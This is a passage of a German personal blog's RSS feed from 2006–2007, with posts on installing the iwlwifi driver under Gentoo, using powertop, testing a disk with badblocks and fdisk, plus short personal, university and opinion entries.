		<comments>http://christian.samsel.name/2007/06/iwlwifi-unter-gentoo/#comments</comments>
		<pubDate>Sat, 30 Jun 2007 12:02:58 +0000</pubDate>
		<dc:creator>Christian</dc:creator>
				<category><![CDATA[OpenSource / Linux]]></category>
		<category><![CDATA[gentoo]]></category>
		<category><![CDATA[iwl]]></category>
		<category><![CDATA[linux]]></category>
		<category><![CDATA[wlan]]></category>

		<guid isPermaLink="false">http://christian.samsel.name/2007/06/iwlwifi-unter-gentoo/</guid>
		<description><![CDATA[UPDATE: Anleitung für ipw4965 angepasst. UPDATE 2: iwlwifi wird in 2.6.24 aufgenommen. (http://www.heise.de/newsticker/meldung/97300) Für die Intel 3945ABG/4965ABGN WLAN Adapter gibt es zusätzlich zum bekannten ipw3945/ipw4965 einen neuen Treiber, der ohne die Verwendung des ipw3945d/ipw4965d Deamons auskommt. Er nennt sich iwl. Dieser befindet sich zwar noch im Beta Stadium, funktioniert bei mir aber schon einwandfrei. So [...]]]></description>
			<content:encoded><![CDATA[<p><span style="color: red">UPDATE:</span> Anleitung für ipw4965 angepasst.<br />
<span style="color: red">UPDATE 2:</span> iwlwifi wird in 2.6.24 aufgenommen. (<a href="http://www.heise.de/newsticker/meldung/97300">http://www.heise.de/newsticker/meldung/97300</a>)</p>
<p>Für die Intel 3945ABG/4965ABGN WLAN Adapter gibt es zusätzlich zum bekannten ipw3945/ipw4965 einen neuen Treiber, der ohne die Verwendung des ipw3945d/ipw4965d Deamons auskommt. Er nennt sich iwl. Dieser befindet sich zwar noch im Beta Stadium, funktioniert bei mir aber schon einwandfrei. So wird er unter Gentoo installiert:<br />
portage Tools installieren:</p>

<div class="wp_syntax"><div class="code"><pre class="bash" style="font-family:monospace;">emerge <span style="color: #660033;">-u</span> layman gentoolkit</pre></div></div>

<p>Sunrise Overlay hinzufügen:</p>

<div class="wp_syntax"><div class="code"><pre class="bash" style="font-family:monospace;">layman <span style="color: #660033;">-a</span> sunrise</pre></div></div>

<p>iwlwifi und Abhängigkeiten unmasken:</p>

<div class="wp_syntax"><div class="code"><pre class="bash" style="font-family:monospace;"><span style="color: #7a0874; font-weight: bold;">echo</span> <span style="color: #ff0000;">&quot;net-wireless/mac80211 ~x86&quot;</span> <span style="color: #000000; font-weight: bold;">&gt;&gt;</span> <span style="color: #000000; font-weight: bold;">/</span>etc<span style="color: #000000; font-weight: bold;">/</span>portage<span style="color: #000000; font-weight: bold;">/</span>package.keywords
<span style="color: #7a0874; font-weight: bold;">echo</span> <span style="color: #ff0000;">&quot;net-wireless/iwlwifi ~x86&quot;</span> <span style="color: #000000; font-weight: bold;">&gt;&gt;</span> <span style="color: #000000; font-weight: bold;">/</span>etc<span style="color: #000000; font-weight: bold;">/</span>portage<span style="color: #000000; font-weight: bold;">/</span>package.keywords
<span style="color: #7a0874; font-weight: bold;">echo</span> <span style="color: #ff0000;">&quot;net-wireless/iwlwifi&quot;</span> <span style="color: #000000; font-weight: bold;">&gt;&gt;</span> <span style="color: #000000; font-weight: bold;">/</span>etc<span style="color: #000000; font-weight: bold;">/</span>portage<span style="color: #000000; font-weight: bold;">/</span>package.unmask</pre></div></div>

<p><span id="more-106"></span><br />
für den 3945&#8242;er Chipsatz:</p>

<div class="wp_syntax"><div class="code"><pre class="bash" style="font-family:monospace;"><span style="color: #7a0874; font-weight: bold;">echo</span> <span style="color: #ff0000;">&quot;net-wireless/iwl3945-ucode&quot;</span> <span style="color: #000000; font-weight: bold;">&gt;&gt;</span>  <span style="color: #000000; font-weight: bold;">/</span>etc<span style="color: #000000; font-weight: bold;">/</span>portage<span style="color: #000000; font-weight: bold;">/</span>package.keywords
euse <span style="color: #660033;">--enable</span> ipw3945</pre></div></div>

<p>für 4965:</p>

<div class="wp_syntax"><div class="code"><pre class="bash" style="font-family:monospace;"><span style="color: #7a0874; font-weight: bold;">echo</span> <span style="color: #ff0000;">&quot;net-wireless/iwl4965-ucode&quot;</span> <span style="color: #000000; font-weight: bold;">&gt;&gt;</span>  <span style="color: #000000; font-weight: bold;">/</span>etc<span style="color: #000000; font-weight: bold;">/</span>portage<span style="color: #000000; font-weight: bold;">/</span>package.keywords
euse <span style="color: #660033;">--enable</span> ipw4965</pre></div></div>

<p>Pakete hohlen:</p>

<div class="wp_syntax"><div class="code"><pre class="bash" style="font-family:monospace;">emerge <span style="color: #660033;">-f</span> iwlwifi</pre></div></div>

<p>ipw3945 deinstallieren:</p>

<div class="wp_syntax"><div class="code"><pre class="bash" style="font-family:monospace;"><span style="color: #000000; font-weight: bold;">/</span>etc<span style="color: #000000; font-weight: bold;">/</span>init.d<span style="color: #000000; font-weight: bold;">/</span>ipw3945d stop
rmmod ipw3945
emerge <span style="color: #660033;">-C</span> net-wireless<span style="color: #000000; font-weight: bold;">/</span>ipw3945-ucode net-wireless<span style="color: #000000; font-weight: bold;">/</span>ipw3945d net-wireless<span style="color: #000000; font-weight: bold;">/</span>ipw3945-ucode net-wireless<span style="color: #000000; font-weight: bold;">/</span>ipw3945</pre></div></div>

<p>iwlwifi installieren:</p>

<div class="wp_syntax"><div class="code"><pre class="bash" style="font-family:monospace;">emerge iwlwifi</pre></div></div>

<p>Rebooten. Fertig. udev sollte das Modul automatisch laden. Kontrollieren ob man wirklich iwlwifi benutzt kann man mit:</p>

<div class="wp_syntax"><div class="code"><pre class="bash" style="font-family:monospace;"><span style="color: #c20cb9; font-weight: bold;">dmesg</span> <span style="color: #000000; font-weight: bold;">|</span> <span style="color: #c20cb9; font-weight: bold;">grep</span> iwl
iwl3945: Intel<span style="color: #7a0874; font-weight: bold;">&#40;</span>R<span style="color: #7a0874; font-weight: bold;">&#41;</span> PRO<span style="color: #000000; font-weight: bold;">/</span>Wireless 3945ABG<span style="color: #000000; font-weight: bold;">/</span>BG Network Connection driver <span style="color: #000000; font-weight: bold;">for</span> Linux, 0.0.34d
iwl3945: Copyright<span style="color: #7a0874; font-weight: bold;">&#40;</span>c<span style="color: #7a0874; font-weight: bold;">&#41;</span> <span style="color: #000000;">2003</span>-<span style="color: #000000;">2007</span> Intel Corporation
iwl3945: Detected Intel PRO<span style="color: #000000; font-weight: bold;">/</span>Wireless 3945ABG Network Connection</pre></div></div>

<p>Weitere Infos: <a href="http://intellinuxwireless.org/">http://intellinuxwireless.org/</a></p>
]]></content:encoded>
			<wfw:commentRss>http://christian.samsel.name/2007/06/iwlwifi-unter-gentoo/feed/</wfw:commentRss>
		<slash:comments>2</slash:comments>
		</item>
		<item>
		<title>powertop</title>
		<link>http://christian.samsel.name/2007/06/powertop/</link>
		<comments>http://christian.samsel.name/2007/06/powertop/#comments</comments>
		<pubDate>Fri, 15 Jun 2007 19:56:50 +0000</pubDate>
		<dc:creator>Christian</dc:creator>
				<category><![CDATA[OpenSource / Linux]]></category>
		<category><![CDATA[acpi]]></category>
		<category><![CDATA[gentoo]]></category>
		<category><![CDATA[power-management]]></category>
		<category><![CDATA[powertop]]></category>

		<guid isPermaLink="false">http://christian.samsel.name/2007/06/powertop/</guid>
		<description><![CDATA[Wenn man unter Linux die Akkulaufzeit erhöhen will, hat man ausgesprochen viele Einstellmöglichkeiten. Insbesondere einige kryptische Kerneloptionen bieten einiges Potenzial. Es gibt ein Programm das hierfür wirklich nützliches Tipps gibt. Teilweise lassen sich features/options sogar direkt per Tastendruck aktivieren, z.B. Stromspareinstellungen für den WLAN Adapter. z.B. Vorschlag: Deaktivieren Sie die Option CONFIG_IRQBALANCE Ihres Kernels. Der [...]]]></description>
			<content:encoded><![CDATA[<p>Wenn man unter Linux die Akkulaufzeit erhöhen will, hat man ausgesprochen viele Einstellmöglichkeiten. Insbesondere einige kryptische Kerneloptionen bieten einiges Potenzial. Es gibt ein Programm das hierfür wirklich nützliches Tipps gibt. Teilweise lassen sich features/options sogar direkt per Tastendruck aktivieren, z.B. Stromspareinstellungen für den WLAN Adapter.<br />
z.B.</p>
<blockquote><p>
Vorschlag: Deaktivieren Sie die Option CONFIG_IRQBALANCE Ihres Kernels.<br />
Der Kernel-eigene Irqbalancer ist veraltet und ineffizient.
</p></blockquote>
<div style="text-align: center"><a href="/files/powertop.jpg" rel="lightbox" title="powertop"><img src="/files/powertop_klein.jpg" alt="powertop"  /></a></div>
<p>Dieses Programm heißt powertop. Ich kann es wirklich nur jedem empfehlen. Zusätzlich finden sich auf der Website noch weitere nützliches Tipps: <a href="http://www.linuxpowertop.org/known.php">http://www.linuxpowertop.org/known.php</a><br />
siehe auch: <a href="http://thomas.is-ac.de/blog/?p=171">Thomas&#038;Helenas Trashblog &#8211; Stromparen unter Linux… leichter gemacht</a></p>
]]></content:encoded>
			<wfw:commentRss>http://christian.samsel.name/2007/06/powertop/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>badblocks howto</title>
		<link>http://christian.samsel.name/2007/05/badblocks-howto/</link>
		<comments>http://christian.samsel.name/2007/05/badblocks-howto/#comments</comments>
		<pubDate>Thu, 24 May 2007 18:05:25 +0000</pubDate>
		<dc:creator>Christian</dc:creator>
				<category><![CDATA[OpenSource / Linux]]></category>
		<category><![CDATA[badblocks]]></category>
		<category><![CDATA[gentoo]]></category>

		<guid isPermaLink="false">http://christian.samsel.name/2007/05/badblocks-howto/</guid>
		<description><![CDATA[Ich hab hier noch eine alte 40GB 2,5&#8243; Platte, die ich für Backups und Datentransport nutzen wollte. Dafür reicht sie allemal. Da sie doch schon etwas älter ist, wollte ich sie vorher mal durch testen. Da sich der smartstatus leider über USB nicht auslesen lässt, musst dafür badblocks herhalten. Hier dazu eine komplette Anleitung. erstmal [...]]]></description>
			<content:encoded><![CDATA[<p>Ich hab hier noch eine alte 40GB 2,5&#8243; Platte, die ich für Backups und Datentransport nutzen wollte. Dafür reicht sie allemal. Da sie doch schon etwas älter ist, wollte ich sie vorher mal durch testen. Da sich der smartstatus leider über USB nicht auslesen lässt, musst dafür badblocks herhalten. Hier dazu eine komplette Anleitung.<br />
<span id="more-104"></span><br />
erstmal habe ich mit fdisk eine einzelne FAT32 Partition erstellt. Auch wenn es Mist ist, aber zum Austausch von Daten führt leider kein Weg an FAT32 vorbei.<br />
Hier handelt es sich bei /dev/sdc um die entsprechende Festplatte. Im Zweifel <em>dmesg</em> konsultieren.</p>
<blockquote>

<div class="wp_syntax"><div class="code"><pre class="bash" style="font-family:monospace;">fdisk <span style="color: #000000; font-weight: bold;">/</span>dev<span style="color: #000000; font-weight: bold;">/</span>sdc</pre></div></div>

<p>Die Anzahl der Zylinder für diese Platte ist auf 4864 gesetzt.<br />
Daran ist nichts verkehrt, aber das ist größer als 1024 und kann<br />
in bestimmten Konfigurationen Probleme hervorrufen mit:<br />
1) Software, die zum Bootzeitpunkt läuft (z. B. ältere LILO-Versionen)<br />
2) Boot- und Partitionierungssoftware anderer Betriebssysteme<br />
   (z. B. DOS FDISK, OS/2 FDISK)<br />
Befehl (m für Hilfe): <strong>o</strong><br />
Erstelle neue DOS-Bootsektoren. Die Änderungen werden vorerst nur im Speicher<br />
gemacht, bis Sie sich entscheiden, sie zu schreiben. Danach ist natürlich der<br />
vorherige Inhalt unrettbar verloren.<br />
Befehl (m für Hilfe): <strong>n</strong><br />
Befehl  Aktion<br />
   e      Erweiterte<br />
   p      Primäre Partition (1-4)<br />
<strong>p</strong><br />
Partitionsnummer (1-4): <strong>1</strong><br />
Erster Zylinder (1-4864, Vorgabe: 1): <strong>ENTER</strong><br />
Benutze den Standardwert 1<br />
Letzter Zylinder oder +Größe, +GrößeK oder +GrößeM (1-4864, Vorgabe: 4864): <strong>ENTER</strong><br />
Benutze den Standardwert 4864<br />
Befehl (m für Hilfe): <strong>t</strong><br />
Partition 1 ausgewählt<br />
Der Dateisystemtyp der Partition 1 ist nun c (W95 FAT32 (LBA))</p>
<p>Befehl (m für Hilfe): <strong>w</strong><br />
Die Partitionstabelle wurde verändert!</p>
<p>Rufe ioctl() um Partitionstabelle neu einzulesen.</p>
<p>WARNUNG: Wenn Sie eine DOS 6.x Partition angelegt<br />
oder verändert haben, dann schauen Sie bitte in die<br />
fdisk-manual-Seite nach weiteren Informationen<br />
Synchronisiere Platten.</p>
</blockquote>
<p>Als nächstes wird die Platte komplett auf Herz und Nieren geprüft. Also sucht euch für die nächste(n) Stunde(n) etwas anderes zu tun. Das System kann natürlich nebenbei weiter verwendet werden.</p>
<p><strong>VORSICHT: <em>badblocks -w</em> zerstört eventuell vorhandene Daten!</strong><br />
Es werden alle Blöcke 4 mal mit verschiedenen Mustern überschrieben. Es eignet sich somit auch zum sicheren löschen von Daten.<br />
Wenn man badblocks auf einer Partition mit vorhandenen Daten verwenden will, sollte man <em>-n</em> verwenden. </p>
<p><em>-o badblocks</em> speichert die fehlerhaften in der Datei badblocks. Diese Datei wird später beim erstellen des Dateisystems verwendet.</p>
<blockquote>

<div class="wp_syntax"><div class="code"><pre class="bash" style="font-family:monospace;">badblocks <span style="color: #660033;">-ws</span> <span style="color: #660033;">-o</span> badblocks <span style="color: #000000; font-weight: bold;">/</span>dev<span style="color: #000000; font-weight: bold;">/</span>sdc1</pre></div></div>

<p>Teste mit Muster 0xaa: done<br />
&#8230;</p></blockquote>
<p>nun wird die FAT32 Partition erstellt:</p>

<div class="wp_syntax"><div class="code"><pre class="bash" style="font-family:monospace;">mkfs.vfat <span style="color: #660033;">-l</span> badblocks <span style="color: #660033;">-F</span> <span style="color: #000000;">32</span> <span style="color: #000000; font-weight: bold;">/</span>dev<span style="color: #000000; font-weight: bold;">/</span>sdc1</pre></div></div>

<p>Fertig. Nur nebenbei: Die Platte war vollkommen in Ordnung.</p>
]]></content:encoded>
			<wfw:commentRss>http://christian.samsel.name/2007/05/badblocks-howto/feed/</wfw:commentRss>
		<slash:comments>5</slash:comments>
		</item>
		<item>
		<title>Killerspiele</title>
		<link>http://christian.samsel.name/2006/11/killerspiele/</link>
		<comments>http://christian.samsel.name/2006/11/killerspiele/#comments</comments>
		<pubDate>Wed, 22 Nov 2006 20:24:08 +0000</pubDate>
		<dc:creator>Christian</dc:creator>
				<category><![CDATA[Politik / Welt]]></category>
		<category><![CDATA[killerspiele]]></category>
		<category><![CDATA[zitate]]></category>

		<guid isPermaLink="false">http://christian.samsel.name/2006/11/killerspiele/</guid>
		<description><![CDATA[Nach einer eher durchwachsenen Berichterstattung über Killerspiele bei Hart aber Fair auf WDR gab es eine kleine MAZ mit einer Übersicht der Änderungen seit Erfurt. Sehr passend fand ich die Zusammenfassung am Ende. Verbote kosten nichts, Psychologen schon.]]></description>
			<content:encoded><![CDATA[<p>Nach einer eher durchwachsenen Berichterstattung über Killerspiele bei Hart aber Fair auf WDR gab es eine kleine MAZ mit einer Übersicht der Änderungen seit Erfurt. Sehr passend fand ich die Zusammenfassung am Ende.</p>
<blockquote><p>Verbote kosten nichts,<br />
Psychologen schon.</p></blockquote>
]]></content:encoded>
			<wfw:commentRss>http://christian.samsel.name/2006/11/killerspiele/feed/</wfw:commentRss>
		<slash:comments>2</slash:comments>
		</item>
		<item>
		<title>Neuer Server (Neuigkeiten Part 2)</title>
		<link>http://christian.samsel.name/2006/10/neuer-server/</link>
		<comments>http://christian.samsel.name/2006/10/neuer-server/#comments</comments>
		<pubDate>Sat, 28 Oct 2006 15:33:15 +0000</pubDate>
		<dc:creator>Christian</dc:creator>
				<category><![CDATA[Rootserver]]></category>

		<guid isPermaLink="false">http://christian.samsel.name/2006/10/neuer-server/</guid>
		<description><![CDATA[Als das es nicht genug gewesen wäre, dass mein Notebook kaputt gegangen ist, nein. Alturo, der Betreiber meines RootServers, macht dicht. Jetzt habe ich eine Server bei IPX, dieser ist war leider deutlich teuer, jedoch habe ich hier den Traffic frei. Mal sehen, was ich damit so anstelle&#8230;. Der Umzug war kein Problem. Ich habe [...]]]></description>
			<content:encoded><![CDATA[<p>Als das es nicht genug gewesen wäre, dass mein Notebook kaputt gegangen ist, nein. Alturo, der Betreiber meines RootServers, macht dicht. Jetzt habe ich eine Server bei IPX, dieser ist war leider deutlich teuer, jedoch habe ich hier den Traffic frei. Mal sehen, was ich damit so anstelle&#8230;. Der Umzug war kein Problem. Ich habe den neuen Server übers Rescue System neu partitioniert und dann einfach per rsync den alten Server auf den neuen geklont. Nach ein paar kleinen Änderungen am kernel (andere Netzwerk und IDE Treiber) und der Netzwerkkonfiguration lief der Server dann auch schon. Allerdings musste ich Confixx neuinstallieren, weil sich die Lizenz nicht hat aktivieren lasssen. Alles in allem aber nur wenige Stunden Arbeit. </p>
]]></content:encoded>
			<wfw:commentRss>http://christian.samsel.name/2006/10/neuer-server/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Neuigkeiten</title>
		<link>http://christian.samsel.name/2006/10/neuigkeiten/</link>
		<comments>http://christian.samsel.name/2006/10/neuigkeiten/#comments</comments>
		<pubDate>Sat, 28 Oct 2006 15:29:15 +0000</pubDate>
		<dc:creator>Christian</dc:creator>
				<category><![CDATA[Hardware / Gadgets]]></category>

		<guid isPermaLink="false">http://christian.samsel.name/2006/10/neuigkeiten/</guid>
		<description><![CDATA[Sodele, nach langen Wochen&#8230; okay, eigentlich Monaten ohne neuen Beitrag, dachte ich mir ich schreib mal wieder was. Zwischenzeitlich ging mein altes Notebook, ein Dell Insprion 8600c kaputt (wohl Mainboard und CPU defekt). Da sich eine Reparatur nicht lohnte, bin ich nun stolzer Besitzer eines neuen Gerätes. Diesmal handelt es sich um Latitude D820, quasi [...]]]></description>
			<content:encoded><![CDATA[<p>Sodele, nach langen Wochen&#8230; okay, eigentlich Monaten ohne neuen Beitrag, dachte ich mir ich schreib mal wieder was. </p>
<p>Zwischenzeitlich ging mein altes Notebook, ein Dell Insprion 8600c kaputt (wohl Mainboard und CPU defekt). Da sich eine Reparatur nicht lohnte, bin ich nun stolzer Besitzer eines neuen Gerätes. Diesmal handelt es sich um Latitude D820, quasi dem indirekten Nachfolger. Ich habe mich dafür entschieden, weil ich dann meinen Sekundärakku und die Dockingstation weiter benutzten kann. Hier die genauen Daten:</p>
<blockquote><p>Dell Latitude D820<br />
Core 2 Duo T7200 (2 Ghz)<br />
2x 1024 DDR2-667 Ram<br />
15,4&#8243; WSXGA+<br />
NVIDIA Quadro NVS 120M<br />
160 GB 5400 RPM SATA Platte<br />
8 X DVD+/-RW<br />
Intel PRO/Wireless 3945<br />
Bluetooth integriert</p></blockquote>
<p>Als Betriebsystem natürlich Gentoo aber ich habe mir zusätzlich mal Vista RC2 installiert und ich habe es bis jetzt nicht bereut. Ist schon eine deutliche Verbesserung gegenüber Windows XP. Ein paar kleine Treiberprobleme mit der Grafikkarte und meiner Soundblaster Audigy 2 NX gibt es zwar, aber ich denke in der finalen Version werden diese ausgeräumt sein.</p>
]]></content:encoded>
			<wfw:commentRss>http://christian.samsel.name/2006/10/neuigkeiten/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>i++ vs. ++i</title>
		<link>http://christian.samsel.name/2006/07/i-vs-i/</link>
		<comments>http://christian.samsel.name/2006/07/i-vs-i/#comments</comments>
		<pubDate>Sun, 23 Jul 2006 16:07:21 +0000</pubDate>
		<dc:creator>Christian</dc:creator>
				<category><![CDATA[OpenSource / Linux]]></category>
		<category><![CDATA[Studium / Uni]]></category>
		<category><![CDATA[c++]]></category>
		<category><![CDATA[increment]]></category>
		<category><![CDATA[java]]></category>
		<category><![CDATA[php]]></category>

		<guid isPermaLink="false">http://christian.samsel.name/2006/07/i-vs-i/</guid>
		<description><![CDATA[Nach einer interessanten Diskussion im IRC stellte sich mir heute die Frage: $i = 1; $i += ++$i + $i++; print $i; Was ist i? Ergebnis: Es hängt von der Implementierung ab. C++: 7 PHP: 7 Perl: 8 Java: 5 Meine spontane Antwort war 5&#8230; ich dachte ich würde in C++ denken&#8230; aber vielleicht doch [...]]]></description>
			<content:encoded><![CDATA[<p>Nach einer interessanten Diskussion im IRC stellte sich mir heute die Frage:</p>

<div class="wp_syntax"><div class="code"><pre class="c" style="font-family:monospace;">$i <span style="color: #339933;">=</span> <span style="color: #0000dd;">1</span><span style="color: #339933;">;</span>
$i <span style="color: #339933;">+=</span> <span style="color: #339933;">++</span>$i <span style="color: #339933;">+</span> $i<span style="color: #339933;">++;</span>
print $i<span style="color: #339933;">;</span></pre></div></div>

<p>Was ist i?</p>
<p>Ergebnis: <span id="more-100"></span></p>
<p>Es hängt von der Implementierung ab.</p>
<p>C++: 7<br />
PHP: 7<br />
Perl: 8<br />
Java: 5</p>
<p>Meine spontane Antwort war 5&#8230; ich dachte ich würde in C++ denken&#8230; aber vielleicht doch eher in Java <img src='http://christian.samsel.name/wp-includes/images/smilies/icon_wink.gif' alt=';)' class='wp-smiley' /> </p>
]]></content:encoded>
			<wfw:commentRss>http://christian.samsel.name/2006/07/i-vs-i/feed/</wfw:commentRss>
		<slash:comments>10</slash:comments>
		</item>
		<item>
		<title>poweroff</title>
		<link>http://christian.samsel.name/2006/07/poweroff/</link>
		<comments>http://christian.samsel.name/2006/07/poweroff/#comments</comments>
		<pubDate>Mon, 10 Jul 2006 18:31:53 +0000</pubDate>
		<dc:creator>Christian</dc:creator>
				<category><![CDATA[Rootserver]]></category>

		<guid isPermaLink="false">http://christian.samsel.name/2006/07/poweroff/</guid>
		<description><![CDATA[Notiz an mich selbst: Ausführung von poweroff, halt, shutdown auf entfernten Rechnern verhindern&#8230;.]]></description>
			<content:encoded><![CDATA[<p>Notiz an mich selbst: Ausführung von <em>poweroff</em>, <em>halt</em>, <em>shutdown</em> auf entfernten Rechnern verhindern&#8230;.</p>
]]></content:encoded>
			<wfw:commentRss>http://christian.samsel.name/2006/07/poweroff/feed/</wfw:commentRss>
		<slash:comments>3</slash:comments>
		</item>
		<item>
		<title>Keine Uni heute (ohne Worte)</title>
		<link>http://christian.samsel.name/2006/06/keine-uni-heute/</link>
		<comments>http://christian.samsel.name/2006/06/keine-uni-heute/#comments</comments>
		<pubDate>Fri, 30 Jun 2006 09:31:19 +0000</pubDate>
		<dc:creator>Christian</dc:creator>
				<category><![CDATA[Verschiedenes]]></category>

		<guid isPermaLink="false">http://christian.samsel.name/2006/06/keine-uni-heute/</guid>
		<description><![CDATA[vorher: heute morgen:]]></description>
			<content:encoded><![CDATA[<div style="text-align: center">
<em>vorher:</em><br />
<a href="/files/vorher.jpg" rel="lightbox" title="vorher"><img src="/files/vorher_klein.jpg" alt="vorher" /></a><br />
<em>heute morgen:</em><br />
<a href="/files/reifen.jpg" rel="lightbox" title="nachher"><img src="/files/reifen_klein.jpg" alt="vorher" /></a>
</div>
<p></p>
]]></content:encoded>
			<wfw:commentRss>http://christian.samsel.name/2006/06/keine-uni-heute/feed/</wfw:commentRss>
		<slash:comments>5</slash:comments>
		</item>
		<item>
		<title>BSOD</title>
		<link>http://christian.samsel.name/2006/06/bsod/</link>
		<comments>http://christian.samsel.name/2006/06/bsod/#comments</comments>
		<pubDate>Wed, 28 Jun 2006 18:28:22 +0000</pubDate>
		<dc:creator>Christian</dc:creator>
				<category><![CDATA[Hardware / Gadgets]]></category>
		<category><![CDATA[dell]]></category>

		<guid isPermaLink="false">http://christian.samsel.name/2006/06/bsod/</guid>
		<description><![CDATA[So, mal was neues. Da startet man einmal in der Woche Windows um ne Runde World of Warcraft zu spielen und bekommt direkt den übelsten Bluescreen. Jetzt ratet mal, wie das passiert ist. Tipp: Es hat zwar was mit Hardware zu tun, aber der Speicher ist okay&#8230;]]></description>
			<content:encoded><![CDATA[<table>
<tr>
<td><a href="/files/bsod.jpg" rel="lightbox" title="BSOD"><img src="/files/bsod_klein.jpg" alt="BSOD" style="margin-right: 15px;" /></a></td>
<td>So, mal was neues. Da startet man einmal in der Woche Windows um ne Runde World of Warcraft zu spielen und bekommt direkt den übelsten Bluescreen. Jetzt ratet mal, wie das passiert ist. Tipp: Es hat zwar was mit Hardware zu tun, aber der Speicher ist okay&#8230;</td>
</tr>
</table>
]]></content:encoded>
			<wfw:commentRss>http://christian.samsel.name/2006/06/bsod/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Seminar SS06 (Teil 2)</title>
		<link>http://christian.samsel.name/2006/06/seminar-ss06-2/</link>
		<comments>http://christian.samsel.name/2006/06/seminar-ss06-2/#comments</comments>
		<pubDate>Mon, 19 Jun 2006 15:52:46 +0000</pubDate>
		<dc:creator>Christian</dc:creator>
				<category><![CDATA[Studium / Uni]]></category>
		<category><![CDATA[seminar]]></category>
		<category><![CDATA[xml]]></category>

		<guid isPermaLink="false">http://christian.samsel.name/2006/06/seminar-ss2006/</guid>
		<description><![CDATA[Sodele, die Seminararbeit im Bereich Webservices für verteilte Anwendungen ist fertig und anerkannt. Das Thema ist XML. Hier also dann auch der versprochene Download: Download.]]></description>
			<content:encoded><![CDATA[<p>Sodele, die Seminararbeit im Bereich <em>Webservices für verteilte Anwendungen</em> ist fertig und anerkannt. Das Thema ist XML.<br />
Hier also dann auch der versprochene Download: <a href="/files/xml.pdf">Download</a>.</p>
]]></content:encoded>
			<wfw:commentRss>http://christian.samsel.name/2006/06/seminar-ss06-2/feed/</wfw:commentRss>
		<slash:comments>4</slash:comments>
		</item>
		<item>
		<title>Planet RWTH</title>
		<link>http://christian.samsel.name/2006/05/planet-rwth/</link>
		<comments>http://christian.samsel.name/2006/05/planet-rwth/#comments</comments>
		<pubDate>Tue, 30 May 2006 22:07:29 +0000</pubDate>
		<dc:creator>Christian</dc:creator>
				<category><![CDATA[Blog / Website]]></category>
		<category><![CDATA[Studium / Uni]]></category>
		<category><![CDATA[planet]]></category>
		<category><![CDATA[rwth]]></category>

		<guid isPermaLink="false">http://christian.samsel.name/2006/05/planet-rwth/</guid>
		<description><![CDATA[Schon vor über einem Jahr kam ich auf die Idee einen Planet für RWTH Studenten einzurichten. Inspiert war das ganze durch planet.rootforum.de, wo ich auch gelistet bin. Mit einer unglaublichen Anzahl von 2 (!) Blogs war das natürlich zum scheitern verurteilt. Mittlerweile ist Blogging zum Volkssport geworden und die Anzahl potenzieller Blogs steigt von Tag [...]]]></description>
			<content:encoded><![CDATA[<p>Schon vor über einem Jahr kam ich auf die Idee einen Planet für RWTH Studenten einzurichten. Inspiert war das ganze durch <a href="http://planet.rootforum.de">planet.rootforum.de</a>, wo ich auch gelistet bin. Mit einer unglaublichen Anzahl von 2 (!) Blogs war das natürlich zum scheitern verurteilt. Mittlerweile ist <em>Blogging</em> zum Volkssport geworden und die Anzahl potenzieller Blogs steigt von Tag zu Tag. Also habe ich heute spontan einen 2. Versuch gewagt. Ich habe mal geschaut, was für Blogs ich noch so im Akkregator drin hab und einige davon eingefügt. Jeweils aber nur die Kategorie die sich mit RWTH/Studium/Uni oÄ beschäftigt (soweit vorhanden). Ja ich weiß, ich hätte die entsprechenden Leute fragen sollen&#8230; </p>
<p>Falls jemand das liest, der nicht mehr in <a href="http://planet.rwth.org">planet.rwth.org </a>erscheinen möchte, bitte bei mir melden. Wird dann geschwind entfernt. <span id="more-95"></span></p>
<p>Gleiches gilt natürlich auch für den Fall, das jemand aufgenommen werden möchte. Dazu sollte das Blog etwas mit der RWTH oder dem Studium zu tun haben (Studienrichtung ist erstmal zweitrangig) und eine passenen Kategorie haben, so das nur die passenden Beiträge im planet landen. Weitere Bedinungen wie eine Mindestanzahl Beiträge oder ähnliches gibt es nicht. Natürlich sollte kein Missbrauch (Werbung oÄ fällt mir da ein) stattfinden. Am besten direkt mit Feed URL an mich wenden. </p>
<p>Die einfachste Möglichkeit dafür wäre ein Kommentar zu diesem Beitrag.</p>
<p><em>Danke auch nochmal an Harry für die Leihgabe der (sub-)Domain.</em></p>
<p>Update: Hab das Template mal auf Deutsch übersetzt und ein paar Änderungen am Stylesheet gemacht. Zu große Bilder werden jetzt verkleinert (funktioniert im IE nicht, aber ich mein &#8230; who cares?)</p>
]]></content:encoded>
			<wfw:commentRss>http://christian.samsel.name/2006/05/planet-rwth/feed/</wfw:commentRss>
		<slash:comments>8</slash:comments>
		</item>
		<item>
		<title>Seminar SS06</title>
		<link>http://christian.samsel.name/2006/05/seminar-ss06/</link>
		<comments>http://christian.samsel.name/2006/05/seminar-ss06/#comments</comments>
		<pubDate>Tue, 30 May 2006 17:25:19 +0000</pubDate>
		<dc:creator>Christian</dc:creator>
				<category><![CDATA[Studium / Uni]]></category>

		<guid isPermaLink="false">http://christian.samsel.name/2006/05/seminar-ss06/</guid>
		<description><![CDATA[Sodele. Die Seminararbeit zum Thema XML ist mittlerweile fertig und abgegeben. Wenn sie korrigiert ist, werde ich sie hier veröffentlichen&#8230;]]></description>
			<content:encoded><![CDATA[<p>Sodele. Die Seminararbeit zum Thema XML ist mittlerweile fertig und abgegeben. Wenn sie korrigiert ist, werde ich sie hier veröffentlichen&#8230;</p>
]]></content:encoded>
			<wfw:commentRss>http://christian.samsel.name/2006/05/seminar-ss06/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>aktueller Desktop</title>
		<link>http://christian.samsel.name/2006/05/aktueller-desktop/</link>
		<comments>http://christian.samsel.name/2006/05/aktueller-desktop/#comments</comments>
		<pubDate>Sun, 21 May 2006 20:40:55 +0000</pubDate>
		<dc:creator>Christian</dc:creator>
				<category><![CDATA[OpenSource / Linux]]></category>
		<category><![CDATA[gentoo]]></category>
		<category><![CDATA[screenshot]]></category>

		<guid isPermaLink="false">http://christian.samsel.name/2006/05/aktueller-desktop/</guid>
		<description><![CDATA[So. Mir ist aufgefallen, dass meine letzten Beiträge wieder mal viel Text und wenig Farbe enthielten. Also wollte ich das ganze mal mit einem aktuellen Screenshot von meinem Desktop aufheitern. Vielleicht interessiert es ja irgendwen]]></description>
			<content:encoded><![CDATA[<table>
<tr>
